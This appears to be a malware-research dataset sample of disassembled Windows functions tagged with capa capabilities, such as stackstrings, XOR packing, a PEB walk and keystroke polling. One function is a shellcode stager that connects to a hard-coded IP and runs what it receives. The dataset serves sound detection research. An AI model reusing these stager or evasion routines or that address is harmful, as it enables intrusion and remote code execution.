joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10002f90
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x220
lea eax, [ebp - 0x78]
push eax
call fcn.10003150
add esp, 4
xor ecx, ecx
mov dword [ebp - 0x3c], ecx
mov dword [ebp - 0x38], ecx
mov dword [ebp - 0x3c], 8
lea edx, [ebp - 0x3c]
push edx
call dword [ebp - 0x68]
call dword [ebp - 0x64]
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x40]
sub eax, dword [ebp - 0x38]
cmp eax, 0x30d40
jbe 0x10003029
mov byte [ebp - 0x2c], 0x45
mov byte [ebp - 0x2b], 0x72
mov byte [ebp - 0x2a], 0x72
mov byte [ebp - 0x29], 0x6f
mov byte [ebp - 0x28], 0x72
mov byte [ebp - 0x27], 0x3a
mov byte [ebp - 0x26], 0x20
mov byte [ebp - 0x25], 0x30
mov byte [ebp - 0x24], 0x78
mov byte [ebp - 0x23], 0x43
mov byte [ebp - 0x22], 0x30
mov byte [ebp - 0x21], 0x30
mov byte [ebp - 0x20], 0x30
mov byte [ebp - 0x1f], 0x30
mov byte [ebp - 0x1e], 0x30
mov byte [ebp - 0x1d], 0x30
mov byte [ebp - 0x1c], 0x35
mov byte [ebp - 0x1b], 0
push 0
push 0
lea ecx, [ebp - 0x2c]
push ecx
push 0
call dword [ebp - 0x78]
nop
jmp 0x10003148
push 0x40
push 0x3000
push 0x1e000
push 0
call dword [ebp - 0x6c]
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x30], 0
mov dword [ebp - 0x7c], 0x1000
mov dword [ebp - 0x80], 0x1d000
lea edx, [ebp - 0x220]
push edx
push 0x202
call dword [ebp - 0x60]
push 0
push 1
push 2
call dword [ebp - 0x5c]
mov dword [ebp - 8], eax
mov eax, 2
mov word [ebp - 0x90], ax
push 0x49a4
call dword [ebp - 0x58]
mov word [ebp - 0x8e], ax
mov byte [ebp - 0x18], 0x31
mov byte [ebp - 0x17], 0x35
mov byte [ebp - 0x16], 0x34
mov byte [ebp - 0x15], 0x2e
mov byte [ebp - 0x14], 0x33
mov byte [ebp - 0x13], 0x37
mov byte [ebp - 0x12], 0x2e
mov byte [ebp - 0x11], 0x32
mov byte [ebp - 0x10], 0x31
mov byte [ebp - 0xf], 0x35
mov byte [ebp - 0xe], 0x2e
mov byte [ebp - 0xd], 0x31
mov byte [ebp - 0xc], 0x34
mov byte [ebp - 0xb], 0x36
mov byte [ebp - 0xa], 0
lea ecx, [ebp - 0x8c]
push ecx
lea edx, [ebp - 0x18]
push edx
push 2
call dword [ebp - 0x54]
push 0x10
lea eax, [ebp - 0x90]
push eax
mov ecx, dword [ebp - 8]
push ecx
call dword [ebp - 0x50]
nop
mov edx, 1
test edx, edx
je 0x1000313a
push 0
push 0x1000
mov eax, dword [ebp - 0x34]
add eax, dword [ebp - 0x30]
push eax
mov ecx, dword [ebp - 8]
push ecx
call dword [ebp - 0x44]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jle 0x10003117
mov edx, dword [ebp - 0x30]
add edx, dword [ebp - 4]
mov dword [ebp - 0x30], edx
jmp 0x10003138
cmp dword [ebp - 4], 0
jne 0x10003121
jmp 0x1000313a
cmp dword [ebp - 4], 0
jge 0x1000312b
jmp 0x1000313a
mov eax, dword [ebp - 8]
push eax
call dword [ebp - 0x4c]
call dword [ebp - 0x48]
nop
jmp 0x10003148
jmp 0x100030e5
mov ecx, dword [ebp - 8]
push ecx
call dword [ebp - 0x4c]
call dword [ebp - 0x48]
call dword [ebp - 0x34]
nop
mov esp, ebp
pop ebp
ret
Function at 0x10003630
Capabilities:
Access peb ldr_data
Get kernel32 base address

Disassembly:
push ebp
mov ebp, esp
push ecx
mov dword [ebp - 4], 0
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov eax, dword [eax]
mov eax, dword [eax + 0x18]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret
Function at 0x100046b7
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [section..data]
jne 0x100046c1
repz ret
jmp fcn.10005bd5

Function at 0x1000aff6
Capabilities:
Write file on windows

Disassembly:
push ecx
push ebx
mov ebx, dword [esp + 0xc]
push esi
push edi
xor esi, esi
xor edi, edi
cmp ebx, dword [edi*8 + 0x10015b80]
je 0x1000b011
inc edi
cmp edi, 0x17
jb 0x1000b002
cmp edi, 0x17
jae 0x1000b191
push ebp
push 3
call fcn.1000e5a7
cmp eax, 1
pop ecx
je 0x1000b15d
push 3
call fcn.1000e5a7
test eax, eax
pop ecx
jne 0x1000b045
cmp dword [0x100160d0], 1
je 0x1000b15d
cmp ebx, 0xfc
je 0x1000b190
push str.Runtime_Error__n_nProgram:
mov ebx, 0x314
push ebx
mov ebp, 0x100165c8
push ebp
call fcn.1000c749
add esp, 0xc
test eax, eax
je 0x1000b07b
push esi
push esi
push esi
push esi
push esi
call fcn.10004fff
add esp, 0x14
push 0x104
mov esi, 0x100165e1
push esi
push 0
mov byte [0x100166e5], 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x1000b0bf
push str._program_name_unknown_
push 0x2fb
push esi
call fcn.1000c749
add esp, 0xc
test eax, eax
je 0x1000b0bf
xor eax, eax
push eax
push eax
push eax
push eax
push eax
call fcn.10004fff
add esp, 0x14
push esi
call fcn.10009d80
inc eax
cmp eax, 0x3c
pop ecx
jbe 0x1000b104
push esi
call fcn.10009d80
sub esi, 0x3b
add eax, esi
push 3
mov ecx, 0x100168dc
push 0x10012004
sub ecx, eax
push ecx
push eax
call fcn.1000d716
add esp, 0x14
test eax, eax
je 0x1000b104
xor esi, esi
push esi
push esi
push esi
push esi
push esi
call fcn.10004fff
add esp, 0x14
jmp 0x1000b106
xor esi, esi
push 0x10012000
push ebx
push ebp
call fcn.1000d654
add esp, 0xc
test eax, eax
je 0x1000b126
push esi
push esi
push esi
push esi
push esi
call fcn.10004fff
add esp, 0x14
push dword [edi*8 + 0x10015b84]
push ebx
push ebp
call fcn.1000d654
add esp, 0xc
test eax, eax
je 0x1000b148
push esi
push esi
push esi
push esi
push esi
call fcn.10004fff
add esp, 0x14
push 0x12010
push str.Microsoft_Visual_C_Runtime_Library
push ebp
call fcn.1000e3ea
add esp, 0xc
jmp 0x1000b190
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
mov ebp, eax
cmp ebp, esi
je 0x1000b190
cmp ebp, 0xffffffff
je 0x1000b190
push 0
lea eax, [esp + 0x14]
push eax
lea esi, [edi*8 + 0x10015b84]
push dword [esi]
call fcn.10009d80
pop ecx
push eax
push dword [esi]
push ebp
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop ebp
pop edi
pop esi
pop ebx
pop ecx
ret
Function at 0x1000e3ea
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
push edi
call fcn.10007382
xor ebx, ebx
cmp dword [0x10016a84], ebx
mov dword [ebp - 8], eax
mov dword [ebp - 4], ebx
mov dword [ebp - 0xc], ebx
mov dword [ebp - 0x10], ebx
jne 0x1000e4c0
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
cmp edi, ebx
je 0x1000e5a0
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
cmp eax, ebx
je 0x1000e5a0
push eax
call fcn.10007314
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x10016a84], eax
call esi
push eax
call fcn.10007314
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x10016a88], eax
call esi
push eax
call fcn.10007314
mov dword [0x10016a8c], eax
lea eax, [ebp - 0xc]
push eax
call fcn.10007055
test eax, eax
pop ecx
pop ecx
je 0x1000e48e
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.10004fff
add esp, 0x14
cmp dword [ebp - 0xc], 2
jne 0x1000e4c0
push str.GetUserObjectInformationA
push edi
call esi
push eax
call fcn.10007314
cmp eax, ebx
pop ecx
mov dword [0x10016a94], eax
je 0x1000e4c0
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.10007314
pop ecx
mov dword [0x10016a90], eax
mov eax, dword [0x10016a90]
mov ecx, dword [ebp - 8]
cmp eax, ecx
je 0x1000e545
cmp dword [0x10016a94], ecx
je 0x1000e545
push eax
call fcn.1000738b
push dword [0x10016a94]
mov esi, eax
call fcn.1000738b
cmp esi, ebx
pop ecx
pop ecx
mov edi, eax
je 0x1000e545
cmp edi, ebx
je 0x1000e545
call esi
cmp eax, ebx
je 0x1000e512
lea ecx, [ebp - 0x14]
push ecx
push 0xc
lea ecx, [ebp - 0x20]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x1000e512
test byte [ebp - 0x18], 1
jne 0x1000e545
lea eax, [ebp - 0x10]
push eax
call fcn.1000708c
test eax, eax
pop ecx
je 0x1000e52d
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.10004fff
add esp, 0x14
cmp dword [ebp - 0x10], 4
jb 0x1000e53c
or dword [ebp + 0x10], 0x200000
jmp 0x1000e580
or dword [ebp + 0x10], 0x40000
jmp 0x1000e580
mov eax, dword [0x10016a88]
cmp eax, dword [ebp - 8]
je 0x1000e580
push eax
call fcn.1000738b
cmp eax, ebx
pop ecx
je 0x1000e580
call eax
cmp eax, ebx
mov dword [ebp - 4], eax
je 0x1000e580
mov eax, dword [0x10016a8c]
cmp eax, dword [ebp - 8]
je 0x1000e580
push eax
call fcn.1000738b
cmp eax, ebx
pop ecx
je 0x1000e580
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x10016a84]
call fcn.1000738b
cmp eax, ebx
pop ecx
je 0x1000e5a0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x1000e5a2
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x42e002
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
mov eax, section..rdata
nop
nop
mov ebx, 0x407ef8
nop
mov ecx, 0x56a60fd7
nop
test eax, eax
nop
nop
nop
je 0x42e04e
nop
nop
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x42e024
nop
nop
mov eax, section._RDATA
nop
mov ebx, 0x42cd70
nop
mov ecx, 0x162b0e53
nop
test eax, eax
nop
nop
nop
nop
nop
nop
nop
je 0x42e084
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
add eax, 4
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
jne 0x42e06c
nop
popal
nop
nop
nop
nop
nop
jmp 0x401219

Function at 0x40a3d0
Capabilities:
Terminate process

Disassembly:
nop
nop
nop
nop
rcl dword [ebp - 0x56], 0xec
push ebp
stosb byte es:[edi], al
in al, dx
push ebp
stosb byte es:[edi], al
in al, dx
mov eax, dword [ebp + 8]
mov edx, dword [eax]
adc al, 0x75
sal byte [ebx + esi + 3], 0xb3
or al, 0x51
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
cmp eax, eax
jne 0x40a3f7
push esi
mov bl, 0x35
cwde
sal byte [eax + eax - 1], 0xd6
out 0xc0, eax
jne 0x40a3fe
pop esi
pop ebp
ret 0xfa
loopne 0x40a3cb
add eax, 0xa7b80
pop esi
pop ebp
inc esp
cmpsb byte [esi], byte es:[edi]
add byte [ebx], dh
rcr byte [ebp - 0x3e], 8
add byte [eax + 0x5647], bh
pop ebp
ret 8
Function at 0x431005
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
mov eax, section..text
nop
mov ebx, 0x40915c
mov ecx, 0x5e5d527c
nop
nop
nop
nop
test eax, eax
nop
je 0x43104e
nop
nop
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
jne 0x431024
nop
mov eax, section..data
nop
mov ebx, 0x42f3f8
nop
mov ecx, 0x16ea280f
nop
nop
nop
nop
test eax, eax
nop
nop
nop
nop
nop
je 0x431084
nop
nop
nop
nop
xor dword [eax], ecx
nop
add eax, 4
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
nop
jne 0x43106c
popal
nop
nop
nop
nop
nop
jmp 0x401219
Function at 0x474730
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x56f734]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x1c], ecx
mov byte [ebp - 0x15], 0
push 0x17
call dword [sym.imp.USER32.dll_GetSystemMetrics]
test eax, eax
je 0x474769
push 2
call dword [sym.imp.USER32.dll_GetKeyState]
cwde
and eax, 0x80
je 0x474767
mov byte [ebp - 0x15], 1
jmp 0x474780
push 1
call dword [sym.imp.USER32.dll_GetKeyState]
movsx ecx, ax
and ecx, 0x80
je 0x474780
mov byte [ebp - 0x15], 1
movzx edx, byte [ebp - 0x15]
test edx, edx
je 0x474842
push 0
push 0xf012
push 0x112
mov ecx, dword [ebp - 0x1c]
call fcn.00408b40
call fcn.0046c740
cmp eax, 2
jne 0x474842
mov eax, dword [ebp - 0x1c]
mov ecx, dword [eax + 0x254]
mov dword [ebp - 0x20], ecx
mov edx, dword [ebp - 0x1c]
mov eax, dword [edx + 0x258]
mov dword [ebp - 0x24], eax
mov ecx, dword [ebp - 0x1c]
add ecx, 0x258
push ecx
mov edx, dword [ebp - 0x1c]
add edx, 0x254
push edx
mov ecx, dword [ebp - 0x1c]
call fcn.004029d0
push eax
call fcn.0046c640
add esp, 0xc
mov eax, dword [ebp - 0x1c]
mov ecx, dword [eax + 0x254]
cmp ecx, dword [ebp - 0x20]
jne 0x474807
mov edx, dword [ebp - 0x1c]
mov eax, dword [edx + 0x258]
cmp eax, dword [ebp - 0x24]
je 0x474842
mov ecx, dword [ebp - 0x1c]
call fcn.00475100
lea ecx, [ebp - 0x14]
call fcn.00408010
lea ecx, [ebp - 0x14]
call fcn.004d01c0
push eax
mov ecx, dword [ebp - 0x1c]
call fcn.004088f0
mov ecx, dword [ebp - 0x10]
push ecx
mov edx, dword [ebp - 0x14]
push edx
push 1
mov eax, dword [ebp - 0x1c]
mov edx, dword [eax]
mov ecx, dword [ebp - 0x1c]
mov eax, dword [edx + 0x1c8]
call eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004df9ac
mov esp, ebp
pop ebp
ret

Function at 0x48c002
Capabilities:
Enumerate pe sections

Disassembly:
mov ecx, dword [esp + 8]
push esi
push edi
xor edi, edi
movzx eax, word [ecx + 0x14]
movzx esi, word [ecx + 6]
test esi, esi
lea eax, [eax + ecx + 0x18]
jbe 0x48c03d
mov ecx, dword [eax + 8]
test ecx, ecx
jne 0x48c024
mov ecx, dword [eax + 0x10]
mov edx, dword [eax + 0xc]
cmp dword [esp + 0xc], edx
jb 0x48c035
add edx, ecx
cmp dword [esp + 0xc], edx
jb 0x48c03f
inc edi
add eax, 0x28
cmp edi, esi
jb 0x48c01a
xor eax, eax
pop edi
pop esi
ret
Function at 0x48c260
Capabilities:
Contain obfuscated stackstrings

Disassembly:
cmpsd dword [esi], dword es:[edi]
call fcn.0048bfc2
ficom dword [ebp - 0x50]
inc edx
lea eax, [ebp - 0x58]
push eax
call fcn.0048bfd2
mov esi, dword [ebp + 0xc]
push eax
push esi
push dword [ebp + 8]
call fcn.0048bf87
add esp, 0x10
lea ecx, [ebp - 0xb0]
push ecx
call eax
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0xac]
xor edx, edx
div ecx
xor edx, edx
mov dword [ebp - 0x8c], eax
mov eax, dword [ebp - 8]
div ecx
test edx, edx
je 0x48c2b0
inc dword [ebp - 0x8c]
imul ecx, dword [ebp - 0x8c]
mov dword [ebp + 0xc], ecx
mov byte [ebp - 0x40], bl
mov byte [ebp - 0x3f], bl
mov byte [ebp - 0x3e], 0xec
mov byte [ebp - 0x3d], bl
mov byte [ebp - 0x3c], 0x45
mov byte [ebp - 0x3b], 0x7a
mov byte [ebp - 0x3a], 0x61
inc ebp
invalid
popal
mov byte [ebp - 0x39], 0x67
mov byte [ebp - 0x38], 0x66
mov byte [ebp - 0x37], 0x72
mov byte [ebp - 0x36], 0x7f
mov byte [ebp - 0x35], 0x52
mov byte [ebp - 0x34], 0x7f
mov byte [ebp - 0x33], 0x7f
mov byte [ebp - 0x32], 0x7c
mov byte [ebp - 0x31], 0x70
mov byte [ebp - 0x30], 0x13
call fcn.0048bfc2
push edi
push ebx
mov al, byte [0xc0458d60]
push eax
call fcn.0048bfd2
push eax
push esi
push dword [ebp + 8]
call fcn.0048bf87
add esp, 0x10
mov dword [ebp - 0x88], eax
call fcn.0048bfc2
mov al, byte [0x8dbffe3c]
inc ebp
call 0x513120b8
mov byte [ebp - 0x17], bl
mov byte [ebp - 0x16], 0x40
mov byte [ebp - 0x15], bl
mov byte [ebp - 0x14], 0xe9
mov byte [ebp - 0x13], 0xd6
mov byte [ebp - 0x12], 0xcd
mov byte [ebp - 0x11], 0xcb
mov byte [ebp - 0x10], 0xca
mov byte [ebp - 0xf], 0xde
mov byte [ebp - 0xe], 0xd3
mov byte [ebp - 0xd], 0xf9
mov byte [ebp - 0xc], 0xcd
mov byte [ebp - 0xb], 0xda
mov byte [ebp - 0xa], 0xda
mov byte [ebp - 9], 0xbf
call fcn.0048bfd2
push eax
push esi
push dword [ebp + 8]
call fcn.0048bf87
mov dword [ebp - 8], eax
lea eax, [ebp - 0x6c]
push eax
Function at 0x48c380
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov byte [ebp - 0x6c], bl
mov byte [ebp - 0x6b], bl
mov byte [ebp - 0x6a], 0xbe
mov byte [ebp - 0x69], bl
mov byte [ebp - 0x68], 0x17
mov byte [ebp - 0x67], 0x28
mov byte [ebp - 0x66], 0x33
mov byte [ebp - 0x65], 0x35
mov byte [ebp - 0x64], 0x34
mov byte [ebp - 0x63], 0x20
mov byte [ebp - 0x62], 0x2d
mov byte [ebp - 0x61], 0x11
mov byte [ebp - 0x60], 0x33
mov byte [ebp - 0x5f], 0x2e
mov byte [ebp - 0x5e], 0x35
mov byte [ebp - 0x5d], 0x24
mov byte [ebp - 0x5c], 0x22
mov byte [ebp - 0x5b], 0x35
mov byte [ebp - 0x5a], 0x41
call fcn.0048bfd2
push eax
push esi
push dword [ebp + 8]
call fcn.0048bf87
mov dword [ebp - 0xbc], eax
lea eax, [ebp - 0x2c]
mov byte [ebp - 0x2c], bl
push eax
mov byte [ebp - 0x2b], bl
mov byte [ebp - 0x2a], 0xd4
mov byte [ebp - 0x29], bl
mov byte [ebp - 0x28], 0x67
inc ebp
fsub dword [edi - 0x3a]
inc ebp
fld dword [esi + eax*8 + 0x45]
fimul dword [edx - 0x3a]
inc ebp
fisttp dword [edi - 0x3a]
inc ebp
fsub qword [edi - 0x3a]
inc ebp
fld qword [edx - 0x3a]
inc ebp
fimul word [ecx - 0x3a]
inc ebp
fistp word [ecx - 0x3a]
inc ebp
loopne 0x48c45d
mov byte [ebp - 0x1f], 0x59
mov byte [ebp - 0x1e], 0x52
mov byte [ebp - 0x1d], 0x6a
mov byte [ebp - 0x1c], 0x2b
call fcn.0048bfd2
push eax
push esi
push dword [ebp + 8]
call fcn.0048bf87
add esp, 0x30
mov dword [ebp - 0xb8], eax
call fcn.0048bfc2
int3

Function at 0x48c3f0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov byte [ebp - 0x6c], bl
mov byte [ebp - 0x6b], bl
mov byte [ebp - 0x6a], 0xbe
mov byte [ebp - 0x69], bl
mov byte [ebp - 0x68], 0x17
mov byte [ebp - 0x67], 0x28
mov byte [ebp - 0x66], 0x33
mov byte [ebp - 0x65], 0x35
mov byte [ebp - 0x64], 0x34
mov byte [ebp - 0x63], 0x20
mov byte [ebp - 0x62], 0x2d
mov byte [ebp - 0x61], 0x11
mov byte [ebp - 0x60], 0x33
mov byte [ebp - 0x5f], 0x2e
mov byte [ebp - 0x5e], 0x35
mov byte [ebp - 0x5d], 0x24
mov byte [ebp - 0x5c], 0x22
mov byte [ebp - 0x5b], 0x35
mov byte [ebp - 0x5a], 0x41
call fcn.0048bfd2
push eax
push esi
push dword [ebp + 8]
call fcn.0048bf87
mov dword [ebp - 0xbc], eax
lea eax, [ebp - 0x2c]
mov byte [ebp - 0x2c], bl
push eax
mov byte [ebp - 0x2b], bl
mov byte [ebp - 0x2a], 0xd4
mov byte [ebp - 0x29], bl
mov byte [ebp - 0x28], 0x67
inc ebp
fsub dword [edi - 0x3a]
inc ebp
fld dword [esi + eax*8 + 0x45]
fimul dword [edx - 0x3a]
inc ebp
fisttp dword [edi - 0x3a]
inc ebp
fsub qword [edi - 0x3a]
inc ebp
fld qword [edx - 0x3a]
inc ebp
fimul word [ecx - 0x3a]
inc ebp
fistp word [ecx - 0x3a]
inc ebp
loopne 0x48c45d
mov byte [ebp - 0x1f], 0x59
mov byte [ebp - 0x1e], 0x52
mov byte [ebp - 0x1d], 0x6a
mov byte [ebp - 0x1c], 0x2b
call fcn.0048bfd2
push eax
push esi
push dword [ebp + 8]
call fcn.0048bf87
add esp, 0x30
mov dword [ebp - 0xb8], eax
call fcn.0048bfc2
int3
Function at 0x48c6e0
Capabilities:
Inspect section memory permissions

Disassembly:
mov edi, dword [ebp - 0x88]
mov eax, dword [ebp + 0xc]
cmp ax, word [edi + 6]
jne 0x48c699
mov edx, dword [ebp - 0xb4]
xor ecx, ecx
mov edi, 0x60000000
jmp 0x48c6b7
movzx eax, ax
lea eax, [eax + eax*4]
mov ecx, dword [edi + eax*8 + 0x104]
mov edx, dword [edi + eax*8 + 0x108]
lea eax, [edi + eax*8 + 0xf8]
mov edi, dword [eax + 0x24]
lea eax, [edx + ecx - 1]
xor edx, edx
div dword [ebp - 0xac]
xor edx, edx
mov dword [ebp - 0x44], eax
mov eax, ecx
div dword [ebp - 0xac]
cmp eax, dword [ebp - 0x44]
ja 0x48c715
mov edx, edi
mov dword [ebp + 8], edi
and dword [ebp + 8], 0x40000000
inc eax
inc eax
mov dword [ebp + 0x10], edi
and edx, 0x20000000
and dword [ebp + 0x10], 0x80000000
mov ecx, dword [ebp + 0x18]
cmp edx, ebx
je 0x48c6fc
or byte [eax + ecx], 1
cmp dword [ebp + 8], ebx
je 0x48c705
or byte [eax + ecx], 2
cmp dword [ebp + 0x10], ebx
je 0x48c70f
add ecx, eax
or byte [ecx], 4
inc eax
cmp eax, dword [ebp - 0x44]
jbe 0x48c6f1
inc dword [ebp + 0xc]
mov eax, dword [ebp - 0x88]
mov cx, word [ebp + 0xc]
cmp cx, word [eax + 6]
jbe 0x48c67b
mov dword [ebp + 8], esi
xor edi, edi
mov eax, dword [ebp + 0x18]
push 2
pop ecx
movzx eax, byte [edi + eax]
sub eax, ecx
je 0x48c762
dec eax
je 0x48c759
sub eax, 3
je 0x48c750
mov dword [ebp - 4], 0x40
jmp 0x48c77f
mov dword [ebp - 4], 4
jmp 0x48c765
mov dword [ebp - 4], 0x20
jmp 0x48c765
mov dword [ebp - 4], ecx
lea eax, [ebp - 4]
push eax
push dword [ebp - 4]
push dword [ebp - 0xac]
push dword [ebp + 8]
call dword [ebp - 0xbc]
test eax, eax
je 0x48c7b1
mov eax, dword [ebp - 0xac]
add dword [ebp + 8], eax
inc edi
cmp edi, dword [ebp - 0x8c]
jbe 0x48c731
mov eax, dword [ebp - 0x88]
mov edi, dword [eax + 0x28]
add edi, esi
call fcn.0048bfc2
add eax, 0x34
fdivp st(7)
jne 0x48c7bc
push 1
push esi
call edi
mov eax, esi
jmp 0x48c7bd
push 0x8000
push ebx
push esi
call dword [ebp - 8]
rcr byte [edi + 0x5e], 0x5b

Function at 0x48c7c2
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x7ec
push ebx
push esi
push edi
call fcn.0048bfa0
idiv edi
inc ebx

Function at 0x48c7d0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
idiv edi
inc ebx
clc
and byte [ebp - 0x354], 0
and byte [ebp - 0x353], 0
mov byte [ebp - 0x352], 0xda
and byte [ebp - 0x351], 0
mov byte [ebp - 0x350], 0x62
mov byte [ebp - 0x34f], 0x40
mov byte [ebp - 0x34e], 0x51
mov byte [ebp - 0x34d], 0x75
mov byte [ebp - 0x34c], 0x57
mov byte [ebp - 0x34b], 0x4a
mov byte [ebp - 0x34a], 0x46
mov byte [ebp - 0x349], 0x40
mov byte [ebp - 0x348], 0x56
mov byte [ebp - 0x347], 0x56
mov byte [ebp - 0x346], 0x6d
mov byte [ebp - 0x345], 0x40
mov byte [ebp - 0x344], 0x44
mov byte [ebp - 0x343], 0x55
mov byte [ebp - 0x342], 0x25
lea eax, [ebp - 0x354]
push eax
call fcn.0048bfd2
pop ecx
push eax
push dword [ebp + 0x18]
push dword [ebp + 0x14]
call fcn.0048bf87
add esp, 0xc
mov dword [ebp - 0x68c], eax
call dword [ebp - 0x68c]
mov dword [ebp - 0x674], eax
invalid
test dword [esp + edi*8 - 1], edi
inc dword [eax + eax]
Function at 0x48c8b0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
add byte [eax], al
add byte [eax - 0x3c35b], al
inc dword [eax]
and byte [ebp - 0x3c3], 0
mov byte [ebp - 0x3c2], 0x99
and byte [ebp - 0x3c1], 0
mov byte [ebp - 0x3c0], 0x21
mov byte [ebp - 0x3bf], 3
mov byte [ebp - 0x3be], 0x12
mov byte [ebp - 0x3bd], 0x2b
mov byte [ebp - 0x3bc], 9
mov byte [ebp - 0x3bb], 2
mov byte [ebp - 0x3ba], 0x13
mov byte [ebp - 0x3b9], 0xa
mov byte [ebp - 0x3b8], 3
mov byte [ebp - 0x3b7], 0x20
mov byte [ebp - 0x3b6], 0xf
mov byte [ebp - 0x3b5], 0xa
mov byte [ebp - 0x3b4], 3
mov byte [ebp - 0x3b3], 0x28
mov byte [ebp - 0x3b2], 7
mov byte [ebp - 0x3b1], 0xb
mov byte [ebp - 0x3b0], 3
mov byte [ebp - 0x3af], 0x27
mov byte [ebp - 0x3ae], 0x66
lea eax, [ebp - 0x3c4]
push eax
call fcn.0048bfd2
pop ecx
push eax
push dword [ebp + 0x18]
push dword [ebp + 0x14]
call fcn.0048bf87
add esp, 0xc
mov dword [ebp - 0x538], eax
and byte [ebp - 0x3ec], 0
and byte [ebp - 0x3eb], 0
mov byte [ebp - 0x3ea], 0x11
and byte [ebp - 0x3e9], 0
mov byte [ebp - 0x3e8], 0xa9
mov byte [ebp - 0x3e7], 0x8b
mov byte [ebp - 0x3e6], 0x9a
mov byte [ebp - 0x3e5], 0xa3
mov byte [ebp - 0x3e4], 0x81
mov byte [ebp - 0x3e3], 0x8a
mov byte [ebp - 0x3e2], 0x9b
mov byte [ebp - 0x3e1], 0x82
mov byte [ebp - 0x3e0], 0x8b
mov byte [ebp - 0x3df], 0xa6
mov byte [ebp - 0x3de], 0x8f
mov byte [ebp - 0x3dd], 0x80
mov byte [ebp - 0x3dc], 0x8a
mov byte [ebp - 0x3db], 0x82
mov byte [ebp - 0x3da], 0x8b
mov byte [ebp - 0x3d9], 0xaf
mov byte [ebp - 0x3d8], 0xee
lea eax, [ebp - 0x3ec]
push eax
call fcn.0048bfd2
pop ecx
push eax
push dword [ebp + 0x18]
push dword [ebp + 0x14]
call fcn.0048bf87
add esp, 0xc
mov dword [ebp - 0x340], eax
call fcn.0048bfc2
add dword [edx + edx*8 + 0xa], ebp
and byte [ebp - 0x534], 0
and byte [ebp - 0x533], 0
mov byte [ebp - 0x532], 0x68
and byte [ebp - 0x531], 0
mov byte [ebp - 0x530], 0xd4
mov byte [ebp - 0x52f], 0xfb
mov byte [ebp - 0x52e], 0xf8
mov byte [ebp - 0x52d], 0xe4
mov byte [ebp - 0x52c], 0xf2
mov byte [ebp - 0x52b], 0xdf
mov byte [ebp - 0x52a], 0xf6
mov byte [ebp - 0x529], 0xf9
mov byte [ebp - 0x528], 0xf3
mov byte [ebp - 0x527], 0xfb
mov byte [ebp - 0x526], 0xf2
mov byte [ebp - 0x525], 0x97
lea eax, [ebp - 0x534]
push eax
call fcn.0048bfd2
pop ecx
push eax
push dword [ebp + 0x18]
push dword [ebp + 0x14]
call fcn.0048bf87
add esp, 0xc
mov dword [ebp - 0x680], eax
call fcn.0048bfc2
cmp ecx, dword [esi]
ljmp 0xfff9